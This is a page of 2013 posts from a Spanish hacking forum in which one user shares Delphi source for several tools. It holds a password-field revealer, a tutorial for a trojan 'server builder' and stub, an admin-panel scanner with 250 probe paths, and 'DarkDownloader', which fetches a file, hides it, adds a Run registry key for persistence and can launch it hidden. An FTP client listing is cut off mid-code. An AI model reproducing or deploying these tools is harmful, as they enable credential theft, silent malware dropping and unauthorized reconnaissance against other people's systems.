elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 ... 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [22] 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ... 55
211  Programación / Programación General / [Delphi] Magic Click 0.2 en: 19 Julio 2013, 20:04 pm
Un simple programa para revelar los famosos asteriscos.

El clasico de los clasicos xDD.

Una imagen :



El codigo :

Código
  1. // Magic Click 0.2
  2. // Coded By Doddy H
  3. // Credits : Thanks to Victory Fernandes for their excellent manual on how to reveal asterisks
  4.  
  5. unit magic;
  6.  
  7. interface
  8.  
  9. uses
  10.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  11.  Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sEdit, sGroupBox, sButton;
  12.  
  13. type
  14.  TForm1 = class(TForm)
  15.    sSkinManager1: TsSkinManager;
  16.    Image1: TImage;
  17.    sGroupBox1: TsGroupBox;
  18.    sEdit1: TsEdit;
  19.    sGroupBox2: TsGroupBox;
  20.    sButton1: TsButton;
  21.    sButton2: TsButton;
  22.    sButton3: TsButton;
  23.    Timer1: TTimer;
  24.    procedure sButton2Click(Sender: TObject);
  25.    procedure sButton3Click(Sender: TObject);
  26.    procedure Timer1Timer(Sender: TObject);
  27.  
  28.    procedure FormCreate(Sender: TObject);
  29.    procedure sButton1Click(Sender: TObject);
  30.  private
  31.    { Private declarations }
  32.  public
  33.    { Public declarations }
  34.  end;
  35.  
  36. var
  37.  Form1: TForm1;
  38.  
  39. implementation
  40.  
  41. {$R *.dfm}
  42.  
  43. procedure TForm1.FormCreate(Sender: TObject);
  44. begin
  45.  
  46.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  47.  sSkinManager1.SkinName := 'neonnight';
  48.  sSkinManager1.Active := True;
  49.  
  50.  Timer1.Enabled := True;
  51.  
  52. end;
  53.  
  54. procedure TForm1.sButton2Click(Sender: TObject);
  55. begin
  56.  ShowMessage('Contact to lepuke[at]hotmail[com]');
  57. end;
  58.  
  59. procedure TForm1.sButton1Click(Sender: TObject);
  60. begin
  61.  sEdit1.SelectAll;
  62.  sEdit1.CopyToClipboard;
  63. end;
  64.  
  65. procedure TForm1.sButton3Click(Sender: TObject);
  66. begin
  67.  Form1.Close();
  68. end;
  69.  
  70. procedure TForm1.Timer1Timer(Sender: TObject);
  71. var
  72.  posicion: TPoint;
  73.  password: array [0 .. 63] of Char;
  74.  need: HWND;
  75. begin
  76.  GetCursorPos(posicion);
  77.  need := WindowFromPoint(posicion);
  78.  if SendMessage(need, EM_GETPASSWORDCHAR, 0, 0) <> 0 then
  79.  begin
  80.    SendMessage(need, WM_GETTEXT, 64, Longint(@password));
  81.    sEdit1.Text := password;
  82.  end;
  83. end;
  84.  
  85. end.
  86.  
  87. // The End ?
  88.  

Si quieren bajarlo pueden hacerlo de aca.
212  Programación / Programación General / Re: [Delphi] Creacion de un Server Builder en: 16 Julio 2013, 15:30 pm
en que distribucion de linux ?
213  Programación / Programación General / Re: [Delphi] Creacion de un Server Builder en: 16 Julio 2013, 15:21 pm
un server builder es lo basico para un troyano , aunque tambien te sirve para generar keyloggers que tienen datos generados por el usuario por ejemplo el servidor ftp que marco el usuario despues con el builder te genera el ejecutable , tambien te diria que sirve con joiners pero ya es otra cosa.
puede que me equivoque en algo porque no se como explicarme xDD.
 
214  Programación / Programación General / [Delphi] Creacion de un Server Builder en: 15 Julio 2013, 23:44 pm
[Titulo] : Creacion de un Server Builder
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Siempre quise hacer un Server Builder en delphi pero siempre me fue dificil porque nadie habia hecho un manual en Delphi donde se explicara , tampoco en los foros
de programacion me querian ayudar , entonces tuve que buscar mucho en google hasta encontrar un codigo simple donde se tratara de este tema.
Entonces encontre un codigo donde se trataba de este caso hecho en Delphi por alguien llamado Faceless Wonder , de esta forma me base del codigo de Faceless Wonder
para poder hacer uno bien basico para poder explicar en este tutorial.

Empecemos .......


0x02 : Creacion del builder

Primero vamos a crear el builder , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Ahora creamos dos edit y un boton como en la imagen :



Despues le damos doble click al boton para poner el siguiente codigo :

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.  linea: string; // Declaramos todas las variables
  4.  aca: THandle;
  5.  code: Array [0 .. 80 + 1] of Char;
  6.  nose: DWORD;
  7.  marca_uno: string;
  8.  marca_dos: string;
  9.  
  10. begin
  11.  
  12.  marca_uno := '{IP}'; // Ponemos la marca para la IP
  13.  marca_dos := '{PORT}'; // Ponemos la marca para el puerto
  14.  
  15.  aca := INVALID_HANDLE_VALUE;
  16.  nose := 0;
  17.  
  18.  begin
  19.    linea := marca_uno + Edit1.Text + marca_uno + marca_dos + Edit2.Text +
  20.      marca_dos; // Formamos la linea con los datos de la IP y el Puerto
  21.    StrCopy(code, pchar(linea));
  22.    aca := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
  23.      OPEN_EXISTING, 0, 0); // Abrimos el archivo server.exe
  24.    if (aca <> INVALID_HANDLE_VALUE) then
  25.    begin
  26.      SetFilePointer(aca, 0, nil, FILE_END);
  27.      WriteFile(aca, code, 80, nose, nil); // Escribimos en el archivo
  28.      CloseHandle(aca); // Cerramos el archivo
  29.    end;
  30.  end;
  31.  
  32. end;
  33.  

Otra imagen para que vean como quedo :



Con eso guardamos el proyecto y vamos al stub

0x03 : Creacion del stub

La parte vital y supuestamente mas dificil , la idea es que el archivo se lea a si mismo y busque lo que hicimos en el builder , para empezar hacemos lo mismo que el builder ,
creamos otro proyecto como la otra vez , File->New->VCL Forms Application , entonces agregamos dos edit y un boton como en la imagen.



Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código
  1. // Funcion para dividir el texto para buscar la IP y el Puerto
  2.  
  3. function regex(text: String; deaca: String; hastaaca: String): String;
  4. begin
  5.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  6.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  7.  Result := text;
  8. end;
  9.  
  10. procedure TForm1.Button1Click(Sender: TObject);
  11. var
  12.  ob: THandle; // Declaramos todas las variables
  13.  code: Array [0 .. 80 + 1] of Char;
  14.  nose: DWORD;
  15.  ip: string;
  16.  port: string;
  17.  
  18. begin
  19.  
  20.  ob := INVALID_HANDLE_VALUE;
  21.  code := '';
  22.  
  23.  // El programa se lee a si mismo
  24.  ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  25.    OPEN_EXISTING, 0, 0);
  26.  if (ob <> INVALID_HANDLE_VALUE) then
  27.  begin
  28.    SetFilePointer(ob, -80, nil, FILE_END);
  29.    ReadFile(ob, code, 80, nose, nil); // Extraemos el contenido y lo ponemos en la variable code
  30.    CloseHandle(ob); // Cerramos el archivo
  31.  end;
  32.  
  33.  ip := regex(code, '{IP}', '{IP}'); // Usamos la funcion regex para sacar la IP
  34.  port := regex(code, '{PORT}', '{PORT}'); // Usamos la funcion regex para sacar el puerto
  35.  
  36.  Edit1.text := ip; // Ponemos la IP en Edit1
  37.  Edit2.text := port; // Ponemos el puerto en Edit2
  38.  
  39. end;
  40.  

Una imagen de como queda :



Guarden el proyecto de forma que el ejecutable termine llamandose server.exe

Ahora que esta todo hecho pasamos al siguiente punto.

0x04 : Probando el programa

Bueno  ,ahora solo cargan el builder , ponen los datos que quieran y despues cargan el stub "server.exe" para cargar el boton del stub , entonces veran algo como esto



Como ven tambien use WinHex para cargar el ejecutable server.exe y verificar que realmente el builder habia hecho bien el trabajo.

Eso seria todo.

Si quieren bajar el manual en formato PDF lo pueden hacer de aca.

--========--
  The End ?
--========--
215  Programación / Programación General / [Delphi] Admin Finder 0.2 en: 12 Julio 2013, 15:58 pm
Un simple programa para buscar el famoso panel de administracion.

Una imagen :



El codigo :

Código
  1. // Admin Finder 0.2
  2. // Coded By Doddy H
  3.  
  4. unit admin;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, sGroupBox, ComCtrls, sStatusBar, jpeg, ExtCtrls,
  11.  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  12.  sSkinManager, sListBox, sButton, sEdit, ShellApi, Menus;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    sSkinManager1: TsSkinManager;
  17.    IdHTTP1: TIdHTTP;
  18.    Image1: TImage;
  19.    sStatusBar1: TsStatusBar;
  20.    sGroupBox1: TsGroupBox;
  21.    sEdit1: TsEdit;
  22.    sGroupBox2: TsGroupBox;
  23.    sListBox1: TsListBox;
  24.    sEdit2: TsEdit;
  25.    PopupMenu1: TPopupMenu;
  26.    S1: TMenuItem;
  27.    A1: TMenuItem;
  28.    E1: TMenuItem;
  29.    procedure sListBox1DblClick(Sender: TObject);
  30.    procedure S1Click(Sender: TObject);
  31.    procedure S2Click(Sender: TObject);
  32.    procedure A1Click(Sender: TObject);
  33.    procedure E1Click(Sender: TObject);
  34.    procedure FormCreate(Sender: TObject);
  35.  private
  36.    { Private declarations }
  37.  public
  38.    { Public declarations }
  39.  end;
  40.  
  41. var
  42.  Form1: TForm1;
  43.  
  44. implementation
  45.  
  46. {$R *.dfm}
  47.  
  48. procedure TForm1.A1Click(Sender: TObject);
  49. begin
  50.  ShowMessage('Contact to lepuke[at]hotmail[com]');
  51. end;
  52.  
  53. procedure TForm1.E1Click(Sender: TObject);
  54. begin
  55.  Form1.Close();
  56. end;
  57.  
  58. procedure TForm1.FormCreate(Sender: TObject);
  59. begin
  60.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  61.  sSkinManager1.SkinName := 'garnet';
  62.  sSkinManager1.Active := True;
  63. end;
  64.  
  65. procedure TForm1.S1Click(Sender: TObject);
  66. const
  67.  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  68.    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  69.    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  70.    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  71.    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  72.    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  73.    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  74.    'login/index.asp', 'login/index.aspx', 'login/login.asp',
  75.    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  76.    'administracion/index.asp', 'administracion/index.aspx',
  77.    'administracion/login.asp', 'administracion/login.aspx',
  78.    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  79.    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  80.    'admin/admin.php', 'admin/index.php', 'admin/login.php',
  81.    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
  82.    'admin/default.php', 'administracion/', 'administracion/index.php',
  83.    'administracion/login.php', 'administracion/ingresar.php',
  84.    'administracion/admin.php', 'administration/', 'administration/index.php',
  85.    'administration/login.php', 'administrator/index.php',
  86.    'administrator/login.php', 'administrator/system.php', 'system/',
  87.    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  88.    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
  89.    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
  90.    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
  91.    'admin/index.html', 'admin/login.html', 'admin/home.php',
  92.    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
  93.    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
  94.    'administrator/index.html', 'administrator/login.html',
  95.    'administrator/account.html', 'administrator/account.php',
  96.    'administrator.html', 'login.html', 'modelsearch/login.php',
  97.    'moderator.php', 'moderator.html', 'moderator/login.php',
  98.    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  99.    'moderator/', 'account.php', 'account.html', 'controlpanel/',
  100.    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
  101.    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
  102.    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  103.    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  104.    'administrator/index.asp', 'administrator/login.asp',
  105.    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  106.    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  107.    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  108.    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  109.    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  110.    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  111.    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  112.    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  113.    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  114.    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  115.    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  116.    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  117.    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  118.    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  119.    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  120.    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  121.    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  122.    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  123.    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  124.    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  125.    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  126.    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  127.    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  128.    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
  129.    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
  130.    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
  131.    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
  132.    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
  133.    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  134.    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
  135.    'system_administration/', 'ss_vms_admin_sm/');
  136. var
  137.  IdHTTP: TIdHTTP;
  138.  i: integer;
  139.  
  140. begin
  141.  try
  142.  
  143.    sListBox1.Clear;
  144.  
  145.    sStatusBar1.Panels[0].text := '[+] Starting the scan';
  146.    Form1.sStatusBar1.Update;
  147.  
  148.    IdHTTP := TIdHTTP.Create(nil);
  149.  
  150.    for i := Low(paginas) to High(paginas) do
  151.      try
  152.  
  153.        sStatusBar1.Panels[0].text := '[+] Testing : ' + paginas[i];
  154.        Form1.sStatusBar1.Update;
  155.  
  156.        IdHTTP.Get(sEdit1.text + '/' + paginas[i]);
  157.        if IdHTTP.ResponseCode = 200 then
  158.          sListBox1.Items.Add(sEdit1.text + '/' + paginas[i]);
  159.        sListBox1.Update;
  160.      except
  161.        on E: EIdHttpProtocolException do
  162.          ;
  163.        on E: Exception do
  164.          ;
  165.      end;
  166.  finally
  167.    IdHTTP.Free;
  168.  end;
  169.  
  170.  sStatusBar1.Panels[0].text := '[+] Finished';
  171.  Form1.sStatusBar1.Update;
  172.  
  173. end;
  174.  
  175. procedure TForm1.S2Click(Sender: TObject);
  176. begin
  177.  Abort;
  178. end;
  179.  
  180. procedure TForm1.sListBox1DblClick(Sender: TObject);
  181. begin
  182.  sEdit2.text := sListBox1.Items.Strings[sListBox1.ItemIndex];
  183.  sEdit2.SelectAll;
  184.  sEdit2.CopyToClipboard;
  185. end;
  186.  
  187. end.
  188.  
  189. // The End ?
  190.  

Si quieren lo puede bajar de aca.
216  Programación / Programación General / [Delphi] DarkDownloader 0.2 en: 6 Julio 2013, 17:07 pm
Un simple downloader con las siguientes opciones :

  • Cambiar el nombre del archivo descargado   
  • Guardarlo en una carpeta , si la carpeta no existe la crea
  • Ocultar el archivo y la carpeta
  • Hacer que ese archivo se cargue cada vez que inicie Windows
  • Cargar el archivo de forma oculta o normal

El codigo :

Código
  1. // DarkDownloader 0.2
  2. // Coded By Doddy H
  3.  
  4. unit down;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  11.  sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar,
  12.  sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    sSkinManager1: TsSkinManager;
  17.    IdHTTP1: TIdHTTP;
  18.    sGroupBox1: TsGroupBox;
  19.    sEdit1: TsEdit;
  20.    Button1: TButton;
  21.    sStatusBar1: TsStatusBar;
  22.    sProgressBar1: TsProgressBar;
  23.    sGroupBox2: TsGroupBox;
  24.    sEdit2: TsEdit;
  25.    sEdit3: TsEdit;
  26.    sCheckBox1: TsCheckBox;
  27.    sCheckBox2: TsCheckBox;
  28.    sCheckBox3: TsCheckBox;
  29.    sCheckBox4: TsCheckBox;
  30.    Image1: TImage;
  31.    sCheckBox5: TsCheckBox;
  32.    sRadioButton1: TsRadioButton;
  33.    sRadioButton2: TsRadioButton;
  34.    procedure Button1Click(Sender: TObject);
  35.  
  36.    procedure FormCreate(Sender: TObject);
  37.  
  38.    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  39.      AWorkCountMax: Int64);
  40.    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  41.      AWorkCount: Int64);
  42.    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  43.  private
  44.    { Private declarations }
  45.  public
  46.    { Public declarations }
  47.  end;
  48.  
  49. var
  50.  Form1: TForm1;
  51.  
  52. implementation
  53.  
  54. {$R *.dfm}
  55.  
  56. function getfilename(archivo: string): string;
  57. var
  58.  test: TStrings;
  59. begin
  60.  
  61.  test := TStringList.Create;
  62.  test.Delimiter := '/';
  63.  test.DelimitedText := archivo;
  64.  Result := test[test.Count - 1];
  65.  
  66.  test.Free;
  67.  
  68. end;
  69.  
  70. procedure TForm1.Button1Click(Sender: TObject);
  71. var
  72.  filename: string;
  73.  nombrefinal: string;
  74.  addnow: TRegistry;
  75.  archivobajado: TFileStream;
  76.  
  77. begin
  78.  
  79.  if not sCheckBox1.Checked then
  80.  begin
  81.    filename := sEdit1.Text;
  82.    nombrefinal := getfilename(filename);
  83.  end
  84.  else
  85.  begin
  86.    nombrefinal := sEdit2.Text;
  87.  end;
  88.  
  89.  archivobajado := TFileStream.Create(nombrefinal, fmCreate);
  90.  
  91.  try
  92.    begin
  93.      DeleteFile(nombrefinal);
  94.      IdHTTP1.Get(sEdit1.Text, archivobajado);
  95.      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
  96.      Form1.sStatusBar1.Update;
  97.      archivobajado.Free;
  98.    end;
  99.  except
  100.    sStatusBar1.Panels[0].Text := '[-] Failed download';
  101.    Form1.sStatusBar1.Update;
  102.    archivobajado.Free;
  103.    Abort;
  104.  end;
  105.  
  106.  if FileExists(nombrefinal) then
  107.  begin
  108.  
  109.    if sCheckBox2.Checked then
  110.    begin
  111.      if not DirectoryExists(sEdit3.Text) then
  112.      begin
  113.        CreateDir(sEdit3.Text);
  114.      end;
  115.      MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
  116.      sStatusBar1.Panels[0].Text := '[+] File Moved';
  117.      Form1.sStatusBar1.Update;
  118.    end;
  119.  
  120.    if sCheckBox3.Checked then
  121.    begin
  122.      SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
  123.      if sCheckBox2.Checked then
  124.      begin
  125.        SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
  126.          FILE_ATTRIBUTE_HIDDEN);
  127.  
  128.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  129.        Form1.sStatusBar1.Update;
  130.      end
  131.      else
  132.      begin
  133.        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
  134.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  135.        Form1.sStatusBar1.Update;
  136.      end;
  137.    end;
  138.  
  139.    if sCheckBox4.Checked then
  140.    begin
  141.  
  142.      addnow := TRegistry.Create;
  143.      addnow.RootKey := HKEY_LOCAL_MACHINE;
  144.      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  145.  
  146.      if sCheckBox2.Checked then
  147.      begin
  148.        addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
  149.      end
  150.      else
  151.      begin
  152.        addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
  153.            + '/' + nombrefinal);
  154.      end;
  155.  
  156.      sStatusBar1.Panels[0].Text := '[+] Registry Updated';
  157.      Form1.sStatusBar1.Update;
  158.  
  159.      addnow.Free;
  160.  
  161.    end;
  162.  
  163.    if sCheckBox5.Checked then
  164.    begin
  165.  
  166.      if sRadioButton1.Checked then
  167.      begin
  168.        if sCheckBox2.Checked then
  169.        begin
  170.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  171.            nil, nil, SW_SHOWNORMAL);
  172.        end
  173.        else
  174.        begin
  175.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
  176.            SW_SHOWNORMAL);
  177.        end;
  178.      end
  179.      else
  180.      begin
  181.        if sCheckBox2.Checked then
  182.        begin
  183.          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
  184.            nil, nil, SW_HIDE);
  185.        end
  186.        else
  187.        begin
  188.          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
  189.        end;
  190.      end;
  191.  
  192.    end;
  193.  
  194.    if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
  195.      sCheckBox4.Checked or sCheckBox5.Checked then
  196.    begin
  197.      sStatusBar1.Panels[0].Text := '[+] Finished';
  198.      Form1.sStatusBar1.Update;
  199.    end;
  200.  
  201.  end;
  202.  
  203. end;
  204.  
  205. procedure TForm1.FormCreate(Sender: TObject);
  206. begin
  207.  sProgressBar1.Position := 0;
  208.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  209.  sSkinManager1.SkinName := 'tv-b';
  210.  sSkinManager1.Active := True;
  211. end;
  212.  
  213. procedure TForm1.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  214.  AWorkCount: Int64);
  215. begin
  216.  sProgressBar1.Position := AWorkCount;
  217.  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  218.  Form1.sStatusBar1.Update;
  219. end;
  220.  
  221. procedure TForm1.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  222.  AWorkCountMax: Int64);
  223. begin
  224.  sProgressBar1.Max := AWorkCountMax;
  225.  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  226.  Form1.sStatusBar1.Update;
  227. end;
  228.  
  229. procedure TForm1.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  230. begin
  231.  sProgressBar1.Position := 0;
  232. end;
  233.  
  234. end.
  235.  
  236. // The End ?
  237.  

Una imagen :



Si quieren bajar el proyecto lo pueden hacer de aca
217  Programación / Scripting / Re: [Python] mushi_admin_finder.py [Admin-Finder] en: 5 Julio 2013, 02:23 am
buen aporte , podrias tambien poner el codigo en el post para no tener que descargarlo para verlo.
218  Programación / Programación General / [Delphi] Project File X 0.2 en: 29 Junio 2013, 18:56 pm
Un simple cliente FTP que eh estado haciendo en Delphi con las siguientes opciones :

  • Listar archivos del servidor FTP
  • Permite moverse por los directorios
  • Se pueden subir y bajar archivos
  • Se pueden crear y borrar carpetas
  • Se pueden renombrar y borrar archivos

Tambien tienen una tabla que les permite navegar por los directorios de sus computadoras para que les sea mas comodo bajar y subir archivos.

Una imagen :



El codigo

Código
  1. // Project File X 0.2
  2. // Coded By Doddy H
  3. // Credits :
  4. // Files Manager based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=421
  5. // Upload file based on : http://delphiallimite.blogspot.com.ar/2007/06/subiendo-archivos-por-ftp-con-indy.html
  6. // Download file based : http://delphiallimite.blogspot.com.ar/2007/06/descargango-archivos-por-ftp-con-indy.html
  7.  
  8. unit ftp;
  9.  
  10. interface
  11.  
  12. uses
  13.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.  Dialogs, ImgList, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
  15.  IdTCPClient, IdExplicitTLSClientServerBase, IdFTP, ComCtrls, sListView,
  16.  StdCtrls, sButton, sEdit, sLabel, sGroupBox, acProgressBar, sStatusBar,
  17.  IdFTPList,
  18.  ShellAPI, sListBox, jpeg, ExtCtrls, Menus;
  19.  
  20. type
  21.  TForm1 = class(TForm)
  22.    IdFTP1: TIdFTP;
  23.    sSkinManager1: TsSkinManager;
  24.    ImageList1: TImageList;
  25.    sGroupBox1: TsGroupBox;
  26.    sLabel1: TsLabel;
  27.    sEdit1: TsEdit;
  28.    sButton1: TsButton;
  29.    sListView1: TsListView;
  30.    sGroupBox2: TsGroupBox;
  31.    sLabel2: TsLabel;
  32.    sEdit2: TsEdit;
  33.    sLabel3: TsLabel;
  34.    sEdit3: TsEdit;
  35.    sLabel4: TsLabel;
  36.    sEdit4: TsEdit;
  37.    sButton2: TsButton;
  38.    sStatusBar1: TsStatusBar;
  39.    sProgressBar1: TsProgressBar;
  40.    sGroupBox3: TsGroupBox;
  41.    sLabel5: TsLabel;
  42.    sEdit5: TsEdit;
  43.    sButton3: TsButton;
  44.    sListView2: TsListView;
  45.    ListBox1: TListBox;
  46.    ListBox2: TListBox;
  47.    ImageList2: TImageList;
  48.    sButton5: TsButton;
  49.    Image1: TImage;
  50.    sButton4: TsButton;
  51.  
  52.    PopupMenu1: TPopupMenu;
  53.    D1: TMenuItem;
  54.    R1: TMenuItem;
  55.    R2: TMenuItem;
  56.    M1: TMenuItem;
  57.    D2: TMenuItem;
  58.  
  59.    PopupMenu2: TPopupMenu;
  60.    C1: TMenuItem;
  61.    D3: TMenuItem;
  62.    D4: TMenuItem;
  63.    R3: TMenuItem;
  64.    R4: TMenuItem;
  65.    PopupMenu3: TPopupMenu;
  66.    A1: TMenuItem;
  67.    E1: TMenuItem;
  68.    procedure sButton3Click(Sender: TObject);
  69.    procedure sListView1DblClick(Sender: TObject);
  70.    procedure sButton1Click(Sender: TObject);
  71.    procedure sButton2Click(Sender: TObject);
  72.    procedure IdFTP1Connected(Sender: TObject);
  73.    procedure sListView2DblClick(Sender: TObject);
  74.    procedure sButton5Click(Sender: TObject);
  75.    procedure IdFTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  76.      AWorkCount: Int64);
  77.    procedure IdFTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  78.      AWorkCountMax: Int64);
  79.    procedure IdFTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  80.    procedure FormCreate(Sender: TObject);
  81.    procedure sButton4Click(Sender: TObject);
  82.    procedure R1Click(Sender: TObject);
  83.    procedure R2Click(Sender: TObject);
  84.  
  85.    procedure D2Click(Sender: TObject);
  86.    procedure D1Click(Sender: TObject);
  87.    procedure M1Click(Sender: TObject);
  88.    procedure C1Click(Sender: TObject);
  89.    procedure D3Click(Sender: TObject);
  90.    procedure D4Click(Sender: TObject);
  91.    procedure R3Click(Sender: TObject);
  92.    procedure R4Click(Sender: TObject);
  93.    procedure D5Click(Sender: TObject);
  94.    procedure A1Click(Sender: TObject);
  95.    procedure E1Click(Sender: TObject);
  96.    procedure IdFTP1Disconnected(Sender: TObject);
  97.  
  98.  private
  99.  
  100.    { Private declarations }
  101.  public
  102.    { Public declarations }
  103.  end;
  104.  
  105. var
  106.  Form1: TForm1;
  107.  
  108. implementation
  109.  
  110. {$R *.dfm}
  111.  
  112. procedure listarftp(dirnownow2: string; sListView2: TsListView; IdFTP1: TIdFTP;
  113.  sListbox1: TListBox; sListbox2: TListBox; ImageList1: TImageList);
  114. var
  115.  i: integer;
  116.  Item: TIdFTPListItem;
  117.  listate2: TListItem;
  118.  
  119. begin
  120.  
  121.  sListView2.Items.Clear;
  122.  sListbox1.Clear;
  123.  sListbox2.Clear;
